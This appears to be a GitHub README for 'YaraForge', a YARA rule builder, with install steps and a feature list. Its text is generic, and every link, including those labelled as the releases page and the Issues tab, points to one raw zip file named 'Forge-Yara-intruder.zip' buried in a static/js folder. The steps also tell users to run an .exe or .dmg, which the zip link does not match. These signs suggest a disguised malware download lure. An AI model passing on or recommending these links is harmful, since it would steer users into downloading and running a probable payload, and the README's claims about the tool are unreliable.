YaraForge is a tool designed to help you create, manage, and test YARA rules. YARA rules are used to find and identify files or processes that match certain patterns. This can help detect malware or suspicious activity on your computer or network.
YaraForge makes it easy by giving you a user-friendly way to build these rules. You don’t need to be a programmer or know complex code. You can also see how your detection rules relate to known cyber threats using a mapping system called MITRE ATT&CK. Finally, you get a simple dashboard to watch your detection results in real time.
The program is built using Python and Flask. You don’t need to know these technologies to use YaraForge, but they help keep it fast and reliable.
-
Build YARA Rules Visually
Create detection rules step by step without writing code from scratch. -
Test Rules Instantly
Try your rules on sample files or your own data to check if they work. -
MITRE ATT&CK Mapping
See how your rules tie into known cyber attack techniques. -
Detection Dashboard
Watch your detections in a clear and organized way. -
Rule Management
Save, edit, and delete rules easily in one place. -
User Friendly Interface
Designed for users with little or no technical background.
To use YaraForge, your computer should meet these minimum requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux version (Ubuntu 18.04+ recommended)
- Processor: Any modern processor (Intel i3 or better)
- Memory (RAM): At least 4 GB
- Disk Space: Minimum 500 MB free storage
- Network: Internet connection to download and update rules
- Browser: Modern web browser (Chrome, Firefox, Edge, or Safari)
YaraForge runs as a web app on your machine, so you only need a browser to interact with it after installation.
Click the big button at the top or go to:
https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip
This page hosts the latest versions of YaraForge for download.
On the releases page, find the latest release. Look for the installer matching your operating system:
- Windows users: download
https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip - Mac users: download
https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip - Linux users: download the appropriate package or the source code if available
Click the download link for your file. Your browser will save it to your computer's default "Downloads" folder or a location you specify.
Open the downloaded file to start the installation process.
- On Windows, double-click the
.exefile and follow the setup wizard. - On Mac, open the
.dmgfile, then drag the YaraForge app to your Applications folder. - On Linux, follow any provided README instructions or use available installation commands.
After installing, open the app:
- Windows & Mac: Find YaraForge in your Start menu or Applications folder.
- Linux: Launch via terminal or menu shortcut provided.
This will open a new browser window or tab with the YaraForge interface, running locally on your computer.
From the main screen, you can begin building new YARA rules, test existing ones, and explore the dashboard.
You can always access the latest version here:
Follow the download and installation steps above for a smooth setup experience.
- Click "Create Rule" on the home screen.
- Enter a rule name and description.
- Use the guided form to add conditions, strings, or patterns you want to detect.
- Save your rule.
- Select a rule from your list.
- Upload a sample file or select data to test against.
- Click "Run Test".
- View results to see if the rule matched anything.
- Each rule can link to specific attack techniques for context.
- This helps security teams understand potential threats.
- View all detection results in one place.
- Filter by rule, date, or severity.
- Regularly update your rules based on new threats.
- Use the dashboard to monitor real-time detection activity.
- Test new rules thoroughly before deploying in live environments.
- Use the MITRE ATT&CK mapping to align rules with industry standards.
If you run into issues:
- Check the repository’s Issues tab for solutions:
https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip - Read the documentation included with the app or online.
- Reach out to the community or maintainers through GitHub.
YaraForge runs locally on your system. Your data and rules stay on your machine unless you choose to share them. No personal information is sent or collected by default.
Check the releases page regularly for new versions:
https://github.com/Ye-cyber-cell/YaraForge/raw/refs/heads/main/static/js/Forge-Yara-intruder.zip
Updates can include bug fixes, new features, and improved rule support.
cybersecurity, detection-engineering, flask, mitre-attack, purple-team, python, security-tools, soc, threat-detection, yara